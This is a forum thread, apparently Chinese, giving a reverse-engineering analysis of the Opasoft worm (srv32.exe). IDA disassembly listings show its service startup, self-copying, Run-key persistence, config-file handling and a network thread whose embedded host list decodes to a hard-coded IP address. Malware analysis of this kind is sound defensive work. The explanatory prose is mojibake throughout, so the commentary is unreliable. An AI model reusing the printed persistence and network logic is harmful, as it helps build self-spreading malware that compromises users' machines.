CODE:0040120B push eax CODE:0040120C call ds:dword_40619F ; StartServiceCtrlDispatcherA CODE:00401212 test eax, eax CODE:00401214 jnz short locret_40123C ; StartServiceCtrlDispatcherAµ÷Óóɹ¦Ìø×ª CODE:00401216 jmp short loc_401218 ͬÑùÒ²µ÷ÓÃÁ˺¯Êýsub_401355À´µÃµ½OpenSCManager, StartServiceCtrlDispatcherAµÈº¯ÊýµÄµØÖ·£¬Ëæºóµ÷Óà StartServiceCtrlDispatcherA(Õâ¸öº¯ÊýÓ¦¸ÃÊÇÀ´Æô¶¯ÓвÎÊý'C'´´½¨µÄ·þÎñµÄ£¬¾ßÌå´ó¼Ò»¹ÊÇ¿´Ò»ÏÂMSDN°É¡£) Èç¹ûÆô¶¯·þÎñʧ°Ü¾ÍÒþ²Ø½ø³Ìºóµ÷ÓÃsub_40123E¡£ ÉÏÃæ¶¼ÊÇһЩ¼ÓÁ˲ÎÊýµÄÆô¶¯·½Ê½£¬µ«ÊÇÒ»°ã²¡¶¾µÚÒ»´ÎÆô¶¯Ê±¿ÉÄÜÊÇûÓвÎÊýµÄ£¬ÒòΪµÚÒ»´ÎÆô¶¯×î¿ÉÄܾÍÊÇ ²»Ð¡ÐÄË«»÷Á˱»¸ÐȾ³ÌÐò£¬ËùÒÔÎÒÃÇÔÙ¿´¿´Ã»ÓвÎÊýʱsrv32µÄÆô¶¯¹ý³ÌÊÇʲôÑù×ӵġ£ CODE:0040105C loc_40105C: CODE:0040105C call GetVersion CODE:00401061 bt eax, 1Fh ; ²âÊÔ×î¸ß루31 bit£©ÊÇ·ñΪ1£¬1Ϊwin9xƽ̨ CODE:00401065 jnb loc_401218 ; 0ΪNTƽ̨,×î¸ßλΪ0£¨CF = 0£©Ê±Ìø×ª£¬ CODE:00401065 ; Ò²¾ÍÊÇϵͳΪNTÆ½Ì¨Ê±Ìø×ªµ½loc_401218Ö´ÐÐ CODE:00401065 ; RegisterServiceProcessÒþ²Ø½ø³Ì CODE:0040106B lea edi, [ebp+ExistingFileName] Ê×Ïȵ÷ÓÃGetVersion APIº¯ÊýµÃµ½²Ù×÷ϵͳƽ̨ÐÅÏ¢£¬Èç¹ûΪNTÆ½Ì¨Ìø×ªµ½loc_401218£¬ÔÙµ÷ÓÃsub_40123E¡£ Èç¹ûΪ9xƽ̨£¬¼ÌÐøÍùÏÂÖ´ÐÐ... CODE:0040106B lea edi, [ebp+ExistingFileName] CODE:00401071 push edi CODE:00401072 call lstrlen ; ¼ÆËãÎļþÃû+·¾¶µÄ³¤¶È CODE:00401077 mov ecx, eax CODE:00401079 add edi, eax CODE:0040107B dec edi CODE:0040107C mov al, 5Ch CODE:0040107E std CODE:0040107F repne scasb CODE:00401081 cld CODE:00401082 add edi, 2 ; ¶¨Î»ÎļþÃû CODE:00401085 push offset aNew_exe ; "new.exe" CODE:0040108A push edi CODE:0040108B call lstrcmpi ; ²»Çø·Ö´óСд±È½Ï CODE:00401090 test eax, eax CODE:00401092 jnz loc_401218 ; ÎļþÃû²»ÊÇ"new.exe"ÔòÌø×ª ÕâÀï²»ÖªµÀΪʲôºÍ"new.exe"±È½Ï£¿£¿£¿ ÎÒµÃÎļþÃûÊÇsrv32.exeµ±È»¾ÍÌø×ªµÄloc_401218È»ºóµ÷ÓÃsub_40123E£¬ Èç¹ûÎļþÃûÊÇnew.exeÔòÖ´ÐÐÏÂÃæµÄ´úÂë CODE:00401098 lea esi, [ebp+Buffer] CODE:0040109E push 100h ; uSize CODE:004010A3 push esi ; lpBuffer CODE:004010A4 call GetWindowsDirectoryA CODE:004010A9 push esi CODE:004010AA call lstrlen CODE:004010AF add eax, esi CODE:004010B1 push offset aSrv32_exe ; "\\Srv32.exe" CODE:004010B6 push eax CODE:004010B7 call lstrcpy CODE:004010BC lea eax, [ebp+hKey] CODE:004010C2 push eax ; phkResult CODE:004010C3 push 3 ; samDesired CODE:004010C5 push 0 ; ulOptions CODE:004010C7 push offset aSoftwareMicros ; lpSubKey CODE:004010CC push 80000002h ; HKLM CODE:004010D1 call RegOpenKeyExA CODE:004010D6 cmp eax, 0 CODE:004010D9 jnz loc_401218 CODE:004010DF push esi CODE:004010E0 call lstrlen CODE:004010E5 inc eax CODE:004010E6 push eax ; cbData CODE:004010E7 push esi ; lpData CODE:004010E8 push 1 ; dwType CODE:004010EA push 0 ; Reserved CODE:004010EC push offset aSrv32 ; lpValueName CODE:004010F1 push [ebp+hKey] ; hKey CODE:004010F7 call RegSetValueExA CODE:004010FC push [ebp+hKey] ; hKey CODE:00401102 call RegCloseKey дע²á±íHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunÏÓô¦²»ÓÃ˵Á˰É^_^ CODE:00401107 CODE:00401107 loc_401107: CODE:00401107 push esi ; Ö¸¶¨²¡¶¾±»¸´ÖƵ½µÄ·¾¶ºÍÎļþÃû,ÓòÎÊýU CODE:00401108 call sub_40132B ; ɾ³ýÖ¸¶¨Îļþ CODE:0040110D lea eax, [ebp+ExistingFileName] CODE:00401113 push 0 ; bFailIfExists CODE:00401115 push esi ; lpNewFileName CODE:00401116 push eax ; lpExistingFileName CODE:00401116 ; ²¡¶¾Â·¾¶£«Ãû³Æ CODE:00401117 call CopyFileA CODE:0040111C test eax, eax CODE:0040111E jz loc_401218 ; CopyFileʧ°ÜÌø×ª °Ñsrv32¸´ÖƵ½windowsĿ¼Ï CODE:00401124 lea edi, [ebp+var_300] CODE:0040112A push esi CODE:0040112B push edi CODE:0040112C call lstrcpy ; °Ñ²¡¶¾ÐµÄ·¾¶ºÍÎļþÃû´æµ½[ebp+300] CODE:00401131 push edi CODE:00401132 call lstrlen CODE:00401137 add edi, eax CODE:00401139 mov ax, 4420h CODE:0040113D stosw ; ´æ´¢0x4420 = " D" CODE:0040113F lea eax, [ebp+ExistingFileName] CODE:00401145 push eax CODE:00401146 push edi CODE:00401147 call lstrcpy CODE:0040114C lea eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName CODE:00401152 push eax CODE:00401153 call sub_4013A8 ; Õâ¸öº¯Êý´´½¨ÁËÒ»¸ö½ø³Ì CODE:00401158 test eax, eax ; eaxΪCreateProcessA·µ»ØÖµ CODE:0040115A jnz locret_40123C ; ´´½¨½ø³Ì³É¹¦Ìø×ª£¬Ö´ÐÐнø³Ì£¬Í˳ö´Ë³ÌÐò CODE:00401160 jmp loc_401218 È»ºó´´½¨Ò»¸ö½ø³Ì£¬´ø²ÎÊý'D'Ö´ÐУ¬²ÎÊý'd'ºóÃæ¸úµÄÊÇsrv32.exe ,¼´Ö´ÐÐwindowsĿ¼ÏµijÌÐòºó£¬É¾³ý×Ô Éí£¬×îºóÒ²ÊÇÌø×ªµ½loc_401218,ÔÙµ÷ÓÃsub_40123E µ½ÕâÀïsrv32µÄǰÆÚ¹¤×÷ÒѾ×öºÃÁË£¬ÏÂÃæ¾Í¿ì¸ãÆÆ»µÁË |
2Â¥2006-08-23 13:23:42
sdlj8051
½ð³æ (ÖøÃûдÊÖ)
- Ó¦Öú: 0 (Ó×¶ùÔ°)
- ¹ó±ö: 0.1
- ½ð±Ò: 1149.8
- ºì»¨: 3
- Ìû×Ó: 2254
- ÔÚÏß: 18.1Сʱ
- ³æºÅ: 71297
- ×¢²á: 2005-05-30
- רҵ: µç·Óëϵͳ
|
´Ë´¦Éú³ÉÁË256×Ö½ÚÈçÏÂÊý¾Ý£º 00407750 00 10 04 04 00 00 00 00 00 00 04 00 10 10 04 04 ................ 00407760 10 00 04 04 10 10 04 00 10 00 00 00 00 00 04 00 ................ 00407770 00 10 00 00 00 10 04 04 10 10 04 04 00 10 00 00 ................ 00407780 10 10 00 04 10 00 04 04 00 00 00 04 10 00 00 00 ................ 00407790 10 10 00 00 00 10 00 04 00 10 00 04 00 10 04 00 ................ 004077A0 00 10 04 00 00 00 04 04 00 00 04 04 10 10 00 04 ................ 004077B0 10 00 04 00 10 00 00 04 10 00 00 04 10 00 04 00 ................ 004077C0 00 00 00 00 10 10 00 00 10 10 04 00 00 00 00 04 ................ 004077D0 00 00 04 00 10 10 04 04 10 00 00 00 00 00 04 04 ................ 004077E0 00 10 04 04 00 00 00 04 00 00 00 04 00 10 00 00 ................ 004077F0 10 00 04 04 00 00 04 00 00 10 04 00 10 00 00 04 ................ 00407800 00 10 00 00 10 00 00 00 10 10 00 04 10 10 04 00 ................ 00407810 10 10 04 04 10 00 04 00 00 00 04 04 10 10 00 04 ................ 00407820 10 00 00 04 10 10 00 00 10 10 04 00 00 10 04 04 ................ 00407830 10 10 00 00 00 10 00 04 00 10 00 04 00 00 00 00 ................ 00407840 10 00 04 00 00 10 04 00 00 00 00 00 10 00 04 04 ................ ÏÖÔÚ»¹²»ÖªµÀÕâЩÊý¾Ý×öʲôÓõģ¬ÏȼÌÐøÍùÏ¿´... CODE:004012A3 loc_4012A3: CODE:004012A3 push offset aSrv32res ; "Srv32Res" CODE:004012A8 call sub_4019A5 ; ´ò¿ªÒÑ´æÔÚµÄÎļþsrv32res£¬²¢µÃµ½Æä´óС CODE:004012AD inc eax ; eaxΪÎļþsrv32resµÄ´óС CODE:004012AE cmp eax, 9 CODE:004012B1 jnb short loc_4012C3 ; Èç¹ûÎļþsrv32res´óÓÚ8¸ö×Ö½ÚÔòÌø×ª CODE:004012B3 push offset aSccss ; "sccss" CODE:004012B8 call sub_4019A5 ; ´ò¿ªÎļþsccss CODE:004012BD inc eax CODE:004012BE cmp eax, 9 CODE:004012C1 jb short loc_4012C8 ; Èç¹ûÎļþsccssСÓÚ8¸ö×Ö½ÚÔòÌø×ª ÕâÀïµ÷ÓÃsub_4019A5À´ÅжÏWindowsĿ¼ÏÂÎļþSrv32ResºÍsccssµÄ´óС£¬µÚÒ»´ÎÖ´Ðе½ÕâÀïûÓÐÕâÁ½¸ö Îļþ£¬ËùÒÔÌø×ªÁË¡£ CODE:004012C3 loc_4012C3: CODE:004012C3 call sub_40148D CODE:004012C8 CODE:004012C8 loc_4012C8: CODE:004012C8 call sub_401575 CODE:004012CD test eax, eax ; Èç¹û´ò¿ªÎļþsrv32tsk³ö´í,eax == 0 CODE:004012CF jnz short loc_4012E5 CODE:004012D1 call sub_40148D CODE:004012D6 push 0FFFFFFFFh ; dwMilliseconds = INFINITE CODE:004012D8 push ds:hHandle ; hHandle CODE:004012DE call WaitForSingleObject CODE:004012E3 jmp short loc_4012C8 ÕâÒ»¶Î´úÂë»á²»¶ÏÖ´ÐÐ sub_401575,sub_40148DÖ±µ½sub_401575µÄ·µ»ØÖµ£¨eax£©²»µÈÓÚ0£» ¿´ÁËÕâÁ½¸öº¯ÊýÓ¦¸ÃʹؼüÁË£¬ÎÒÃÇÏÈ¿´¿´º¯Êýsub_401575: CODE:00401575 sub_401575 proc near CODE:00401575 var_4 = dword ptr -4 CODE:00401575 enter 4, 0 CODE:00401579 push esi CODE:0040157A mov [ebp+var_4], 0 CODE:00401581 push offset dword_406587 CODE:00401586 call sub_4014CA ; ¶ÁÎļþSrv32tskµÄÄÚÈÝ,´æ·Åµ½[406587] CODE:0040158B cmp eax, 0FFFFFFFFh CODE:0040158E jz short loc_4015E1 ; ´ò¿ªÎļþsrv32tskʧ°ÜÔòÍ˳ö²¢·µ»Ø0 CODE:00401590 mov esi, eax CODE:00401592 mov [ebp+var_4], 1 CODE:00401599 cmp ds:dword_406593, 0 CODE:004015A0 jz short loc_4015AA CODE:004015A2 push esi ; hObject CODE:004015A3 call CloseHandle CODE:004015A8 jmp short loc_4015E1 ¸ú½øsub_4014CA¿´¿´Ëü¶ÁÎļþµÄ²Ù×÷ CODE:004014CA sub_4014CA proc near CODE:004014CA NumberOfBytesRead= dword ptr -8 CODE:004014CA lpBuffer = dword ptr 8 CODE:004014CA CODE:004014CA enter 8, 0 CODE:004014CE push 0 ; hTemplateFile CODE:004014D0 push 0 ; dwFlagsAndAttributes CODE:004014D2 push 3 ; OPEN_EXISTING CODE:004014D4 push 0 ; lpSecurityAttributes CODE:004014D6 push 0 ; dwShareMode CODE:004014D8 push 0C0000000h ; dwDesiredAccess CODE:004014DD push offset aSrv32tsk ; lpFileName = "Srv32tsk" CODE:004014E2 call CreateFileA CODE:004014E7 cmp eax, 0FFFFFFFFh CODE:004014EA jz short locret_40152D ; ´ò¿ªÎļþʧ°ÜÔòÍ˳ö ´ò¿ªWindowsĿ¼ÏµÄÎļþsrv32tsk£¬µ½CreateFileA»áʧ°Ü£¬ÎÒÃÇ¿ÉÒÔÏȽ¨Ò»¸öÎļþ srv32tsk£¬È»ºó¿´Ëü¶ÔÎļþ×öÁËЩʲô²Ù×÷ CODE:004014EC mov esi, eax CODE:004014EE lea eax, [ebp-8] CODE:004014F1 push 0 ; lpOverlapped CODE:004014F3 push eax ; lpNumberOfBytesRead CODE:004014F4 push 824h ; nNumberOfBytesToRead = 2084B CODE:004014F9 push dword ptr [ebp+8] ; lpBuffer CODE:004014FC push esi ; hFile CODE:004014FD call ReadFile CODE:00401502 cmp dword ptr [ebp-8], 2Ch ; ¶ÁÁËÎļþsrv32tskµÄ×Ö½ÚÊýºÍ44±È½Ï CODE:00401506 jb short loc_401522 ; СÓÚ44¸ö×Ö½ÚÍ˳ö CODE:00401508 mov edx, [ebp+8] ; ¶ÁÈ¡µÄÄÚÈÝ CODE:0040150B mov eax, [edx+20h] ; Îļþsrv32tskµÄµÚ32¸ö×Ö½Ú¿ªÊ¼µÄDWORDÖµ CODE:0040150E shl eax, 3 CODE:00401511 add eax, 24h CODE:00401514 cmp eax, [ebp-8] ; °ÑÉÏÃæµÄDWORDÖµ³ËÒÔ8¼ÓÉÏ24ºóºÍÎļþ´óС±È½Ï CODE:00401517 jnz short loc_401522 CODE:00401519 cmp byte ptr [edx], 0 ; ÅжÏÎļþµÄµÚÒ»¸ö×Ö½ÚÊÇ·ñΪ0 CODE:0040151C jz short loc_401522 CODE:0040151E mov eax, esi CODE:00401520 jmp short locret_40152D CODE:00401522 ; /////////////////////////////////////////////////////////////////////////// CODE:00401522 CODE:00401522 loc_401522: CODE:00401522 push esi ; hObject CODE:00401523 call CloseHandle CODE:00401528 mov eax, 0FFFFFFFFh CODE:0040152D CODE:0040152D locret_40152D: CODE:0040152D leave CODE:0040152E retn 4 CODE:0040152E sub_4014CA endp ·µ»Øµ½º¯Êýsub_401575£º CODE:0040158B cmp eax, 0FFFFFFFFh CODE:0040158E jz short loc_4015E1 ; ´ò¿ªÎļþsrv32tskʧ°ÜÔòÍ˳ö²¢·µ»Ø0 CODE:00401590 mov esi, eax CODE:00401592 mov [ebp+var_4], 1 CODE:00401599 cmp ds:dword_406593, 0 ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ4¸öDWORDÖµ CODE:004015A0 jz short loc_4015AA CODE:004015A2 push esi ; hObject CODE:004015A3 call CloseHandle ; ¹Ø±ÕÎļþ CODE:004015A8 jmp short loc_4015E1 ; Í˳ö CODE:004015AA ; /////////////////////////////////////////////////////////////////////////// CODE:004015AA CODE:004015AA loc_4015AA: ; CODE XREF: sub_401575+2Bj CODE:004015AA cmp ds:dword_40658B, 0 ; ´ÓÎļþ¿ªÊ¼µÄµÚ2¸öDWORDÖµ CODE:004015B1 jz short loc_4015D9 CODE:004015B3 CODE:004015B3 loc_4015B3: CODE:004015B3 call sub_40171C CODE:004015B8 mov ds:dword_406593, 1 ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ4¸öDWORDÖµ CODE:004015C2 mov ds:dword_40658B, 0 ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ2¸öDWORDÖµ CODE:004015CC push offset dword_406587 CODE:004015D1 push esi CODE:004015D2 call sub_401531 ; дÎļþsrv32tsk CODE:004015D7 jmp short loc_4015E1 CODE:004015D9 ; /////////////////////////////////////////////////////////////////////////// CODE:004015D9 CODE:004015D9 loc_4015D9: CODE:004015D9 inc ds:dword_40658F ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ3¸öDWORDÖµ CODE:004015DF jmp short loc_4015B3 CODE:004015E1 ; /////////////////////////////////////////////////////////////////////////// CODE:004015E1 CODE:004015E1 loc_4015E1: CODE:004015E1 mov eax, [ebp+var_4] CODE:004015E4 pop esi CODE:004015E5 leave CODE:004015E6 retn CODE:004015E6 sub_401575 endp Îļþsrv32tsk´ò¿ªÊ§°ÜµÄ»°Ö±½ÓÍ˳ö£¬Èç¹û¶ÁÎļþ³É¹¦£¬±È½Ï´ÓÎļþ¿ªÊ¼¶ÁµÄµÚ4¸öDWORD ÖµÊÇ·ñΪ0£¬²»µÈÓÚ0¹Ø±ÕÎļþÍ˳ö´Ëº¯Êý£¬µÈÓÚ0µÄ»°±È½ÏµÚ2¸öDWORDÖµÊÇ·ñΪ0£¬Èç¹ûµÚ 2¸öDWORDÖµ²»Îª0µÄ»°µ÷ÓÃsub_40171C£¬È»ºóÓÖµ÷ÓÃsub_401531дÎļþsrv32tsk¡£ Îļþsrv32tskµÄÍ·²¿µÄ½á¹¹´ó¸ÅÊÇÕâÑùµÄ struct tagSRV32TSK_HEAD { DWORD dword_406587; DWORD dword_40658B; DWORD dword_40658F; DWORD dword_406593; DWORD dword_406597; DWORD dword_40659B; BYTE[8] unk_40659F; DWORD dword_4065A7; }; ÕâÒ»¶Î´úÂëÀïµ÷ÓÃÁËÒ»¸öº¯Êýsub_40171C: CODE:0040171C sub_40171C proc near CODE:0040171C mov eax, ds:dword_40658F ; ´ÓÎļþsrv32tsk¿ªÊ¼µÄµÚ3¸öDWORDÖµ CODE:00401721 rcl eax, 0Dh CODE:00401724 rcl edx, 1 CODE:00401726 rcl eax, 1 CODE:00401728 rcl edx, 1 CODE:0040172A rcl eax, 1 CODE:0040172C rcl edx, 1 CODE:0040172E rcl eax, 1 CODE:00401730 rcl edx, 1 CODE:00401732 rcl eax, 1 CODE:00401734 rcl edx, 4 CODE:00401737 rcl eax, 1 CODE:00401739 rcl edx, 1 CODE:0040173B rcl eax, 1 CODE:0040173D rcl edx, 3 CODE:00401740 rcl eax, 1 CODE:00401742 rcl edx, 1 CODE:00401744 rcl eax, 1 CODE:00401746 rcl edx, 1 CODE:00401748 rcl eax, 1 CODE:0040174A rcl edx, 2 CODE:0040174D rcl eax, 1 CODE:0040174F rcl edx, 1 CODE:00401751 rcl eax, 1 CODE:00401753 rcl edx, 1 CODE:00401755 rcl eax, 1 CODE:00401757 rcl edx, 1 CODE:00401759 rcl eax, 1 CODE:0040175B rcl edx, 1 CODE:0040175D rcl eax, 1 CODE:0040175F rcl edx, 1 CODE:00401761 rcl eax, 1 CODE:00401763 rcl edx, 1 CODE:00401765 rcl eax, 1 CODE:00401767 rcl edx, 2 CODE:0040176A rcl eax, 1 CODE:0040176C rcl edx, 1 CODE:0040176E rcl eax, 1 CODE:00401770 rcl edx, 1 CODE:00401772 rcl eax, 1 CODE:00401774 rcl edx, 6 CODE:00401777 and edx, 0F8CEFEE0h CODE:0040177D bswap edx CODE:0040177F mov ds:dword_406597, edx ; Îļþsrv32tskµÄµÚ5¸öDWÖµ CODE:00401785 xor edx, edx CODE:00401787 mov ds:dword_40659B, edx ; Îļþsrv32tskµÄµÚ6¸öDWÖµ CODE:0040178D retn CODE:0040178D sub_40171C endp ¶ÔÎļþsrv32tsk²Ù×÷Íêºó·µ»Øµ½sub_40123E CODE:004012CD test eax, eax ; Èç¹û´ò¿ªÎļþsrv32tsk³ö´í,eax == 0 CODE:004012CF jnz short loc_4012E5 CODE:004012D1 call sub_40148D CODE:004012D6 push 0FFFFFFFFh ; dwMilliseconds = INFINITE CODE:004012D8 push ds:hHandle ; hHandle CODE:004012DE call WaitForSingleObject CODE:004012E3 jmp short loc_4012C8 ÏÖÔÚ»¹ÓÐÒ»¸ö»áƵ·±Ö´Ðеĺ¯Êýsub_40148D CODE:0040148D sub_40148D proc near CODE:0040148D cmp ds:ThreadId, 0 CODE:00401494 CODE:00401494 loc_401494: CODE:00401494 jnz short locret_4014C9 CODE:00401496 cmp ds:hHandle, 0FFFFFFFFh CODE:0040149D jz short loc_4014AA CODE:0040149F push ds:hHandle ; hObject CODE:004014A5 call CloseHandle CODE:004014AA CODE:004014AA loc_4014AA: CODE:004014AA push offset ThreadId ; lpThreadId CODE:004014AF push 0 ; dwCreationFlags CODE:004014B1 push 0 ; lpParameter CODE:004014B3 push 401DB0h ; lpStartAddress CODE:004014B8 push 2000h ; dwStackSize CODE:004014BD push 0 ; lpThreadAttributes CODE:004014BF call CreateThread CODE:004014C4 mov ds:hHandle, eax CODE:004014C9 CODE:004014C9 locret_4014C9: CODE:004014C9 retn CODE:004014C9 sub_40148D endp ´´½¨ÁËÒ»¸öỊ̈߳¨^_^£¬µ½ÕâÀï²Å¸Õ¸Õ¿ªÊ¼àÞ£¡£©£¬¿Ï¶¨²»»á¸ÉʲôºÃÊ£¬Ï´ΠÎÒÃÇÔÙÏêϸ·ÖÎöÕâ¸öÏ̡߳£ µ½ÕâÀïÓиö2ÎÊÌ⣺ 1. Óɺ¯Êýsub_4033E7Ëã³öµÄÄÚ´æÊý¾Ý×öºÎÓã¿ 2. Îļþsrv32Res,sccssºÎsrv32tsk×öºÎÓã¿ |
4Â¥2006-08-23 13:25:00
sdlj8051
½ð³æ (ÖøÃûдÊÖ)
- Ó¦Öú: 0 (Ó×¶ùÔ°)
- ¹ó±ö: 0.1
- ½ð±Ò: 1149.8
- ºì»¨: 3
- Ìû×Ó: 2254
- ÔÚÏß: 18.1Сʱ
- ³æºÅ: 71297
- ×¢²á: 2005-05-30
- רҵ: µç·Óëϵͳ
È䳿 srv32.exe ÄæÏò·ÖÎö±Ê¼Ç3 -- Ä»ºóͨѶƪ
|
ÎļþÃû³Æ£ºsrv32.exe È䳿Ãû³Æ£ºNet-Worm.Win32.Opasoft.s ¹¤¾ß£º IDA 4.5.1, SoftICE3.1 ÉÏ´ÎÎÒÃÇ˵µ½ÔÚº¯Êýsub_40148DÀï´´½¨ÁËÒ»¸öỊ̈߳¬ÏÖÔÚÎÒÃÇ¿´¿´Õâ¸öÏ̵߳½µ× ÔÚ×÷ʲô¡£ CODE:0040148D sub_40148D proc near ... CODE:004014AA loc_4014AA: CODE:004014AA push offset ThreadId ; lpThreadId CODE:004014AF push 0 ; dwCreationFlags CODE:004014B1 push 0 ; lpParameter CODE:004014B3 push 401DB0h ; lpStartAddress CODE:004014B8 push 2000h ; dwStackSize CODE:004014BD push 0 ; lpThreadAttributes CODE:004014BF call CreateThread CODE:004014C4 mov ds:hHandle, eax CODE:004014C9 CODE:004014C9 locret_4014C9: CODE:004014C9 retn CODE:004014C9 sub_40148D endp ÓÃIDA²é¿´¸ÃÏ̵߳ĴúÂëÈçÏ£º CODE:00401DB0 ; DWORD __stdcall StartAddress(LPVOID) CODE:00401DB0 StartAddress proc near CODE:00401DB0 CODE:00401DB0 dwConnectedState= dword ptr -0A68h CODE:00401DB0 var_A64 = dword ptr -0A64h CODE:00401DB0 var_A60 = dword ptr -0A60h CODE:00401DB0 var_A5C = dword ptr -0A5Ch CODE:00401DB0 var_A58 = dword ptr -0A58h CODE:00401DB0 NumberOfBytesWritten= dword ptr -0A54h CODE:00401DB0 lpBuffer = dword ptr -0A4Ch CODE:00401DB0 hInternet = dword ptr -0A48h CODE:00401DB0 var_A44 = dword ptr -0A44h CODE:00401DB0 pszUrl = dword ptr -944h CODE:00401DB0 Buffer = dword ptr -844h CODE:00401DB0 var_840 = dword ptr -840h CODE:00401DB0 var_83C = dword ptr -83Ch CODE:00401DB0 var_838 = dword ptr -838h CODE:00401DB0 var_834 = dword ptr -834h CODE:00401DB0 var_830 = dword ptr -830h CODE:00401DB0 var_82C = dword ptr -82Ch CODE:00401DB0 var_828 = dword ptr -828h CODE:00401DB0 var_81C = dword ptr -81Ch CODE:00401DB0 var_814 = dword ptr -814h CODE:00401DB0 var_810 = dword ptr -810h CODE:00401DB0 var_10 = dword ptr -10h CODE:00401DB0 var_C = dword ptr -0Ch CODE:00401DB0 hMem = dword ptr -8 CODE:00401DB0 pBufOfReadFile = dword ptr -4 CODE:00401DB0 CODE:00401DB0 enter 0A68h, 0 CODE:00401DB4 mov [ebp+pBufOfReadFile], 0 CODE:00401DBB CODE:00401DBB loc_401DBB: CODE:00401DBB lea eax, [ebp+dwConnectedState] CODE:00401DC1 push 0 CODE:00401DC3 push eax ; lpdwFlags CODE:00401DC4 call InternetGetConnectedState ; »ñµÃ±¾µØÍøÂçÁ¬½Ó״̬ CODE:00401DC9 test eax, eax CODE:00401DCB jnz short loc_401DD9 CODE:00401DCD CODE:00401DCD loc_401DCD: CODE:00401DCD push 2710h ; dwMilliseconds CODE:00401DD2 call Sleep CODE:00401DD7 jmp short loc_401DBB ; ˯10ÃëÔÙ¹¤×÷ CODE:00401DD9 ; /////////////////////////////////////////////////////////////////////////// ¿ÉÒÔ¿´µ½¸ÃÏß³ÌÒ»¿ªÊ¼¾Íµ÷ÓÃInternetGetConnectedStateÀ´Åжϵ±Ç°µÄÍøÂçÁ¬½Ó״̬£¬ ûÓÐÁ¬½Ó¾ÍÐÝÏ¢10ÃëÔÙÊÔ£¬ÓÐÁ¬½Ó¾ÍÌø×ªµ½ÒÔÏ´úÂ룺 CODE:00401DD9 loc_401DD9: CODE:00401DD9 push 0 CODE:00401DDB push 0 CODE:00401DDD push 0 CODE:00401DDF push 0 ; INTERNET_OPEN_TYPE_PRECONFIG CODE:00401DE1 push 0 CODE:00401DE3 call InternetOpenA ; ³õʼ»¯¹¤×÷ CODE:00401DE8 mov [ebp+hInternet], eax CODE:00401DEE push 10000h ; 65536 Bytes CODE:00401DF3 push 0 ; uFlags = LMEM_FIXED CODE:00401DF5 call LocalAlloc ; ·ÖÅäÄÚ´æ CODE:00401DFA mov [ebp+lpBuffer], eax CODE:00401E00 lea eax, [ebp+pBufOfReadFile] CODE:00401E03 push eax CODE:00401E04 call sub_401A39 ; ¶ÔÎļþhstlst²Ù×÷ CODE:00401E09 test eax, eax CODE:00401E0B jz short loc_401E29 InternetOpenAΪµ÷ÓÃWinInet.dllÀïµÄº¯Êý×öһЩ׼±¸¹¤×÷£¬sub_401A39»á ¶ÁWindowsĿ¼ÏÂÎļþhstlstµÄÄÚÈÝ£¬²¢¶Ô¶Á³öµÄÄÚÈݽøÐÐת»»£¨pBufOfReadFile Ö¸ÏòµØÖ·¾ÍÊÇת»»ºóµÄÄÚÈݵĵØÖ·£©£¬µÚÒ»´ÎÖ´Ðв¢Ã»ÓÐÕâ¸öÎļþ£¬Ò²Ã»ÓÐÌø×ª£¬Æäʵ¿´ Ãû×ÖÒ²Äܲµ½Îļþhstlst¿ÉÄÜÊÇÒ»¶ÎIPµØÖ·£¨HostListÂï £©£¬ÆäʵÎļþhstlst²»´æÔڵϰÔÚº¯Êýsub_401A39»áÓõ½Ò»¶ÎÊý¾ÝÈçÏ£º g_IpAddr_40600C[] = { 0xDF,0x11,0xD2,0xEE, 0x45,0xC6,0xFA,0xFA, 0xB2,0xBA,0xF0,0x67, 0x39,0x74,0x88,0xEE, 0x25,0xB1,0xD0,0x39, 0x87,0x1A,0x0C,0x55, 0x11,0x65,0xA7,0xDE, 0xA4,0x4F,0xDA,0x10 } Õâ¶ÎÊý¾Ý¾¹ýº¯Êýsub_401967ת»»³É£º pBufOfReadFile[] = { 0xE8,0xFE,0x0C,0x00, 0xF0,0x06,0x1E,0x00, 0x42,0xF6,0x29,0xC9, 0x3F,0xF7,0x87,0x30, 0x3F,0xF7,0x87,0x30, 0x40,0xB1,0xE2,0xC0, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00 } Ò»»á»áÓõ½DWORD pBufOfReadFile[0xC] ¾ÍÊÇ0x3F,0xF7,0x87,0x30 µ½ÏÂÃæÄã¾Í»á·¢ÏÖËüÊÇÒ»¶ÎIPµØÖ·,0x3087F73F = 3F.F7.87.30=63.247.135.48 ¼ÌÐø×ß... |
5Â¥2006-08-23 13:26:00













»Ø¸´´ËÂ¥
ata, 0
µÃµ½Advapi32µÄÄ£¿é¾ä±ú£¬È»ºóÓÖÑ»·µ÷ÓÃÁË
£©£¬ÆäʵÎļþhstlst²»´æ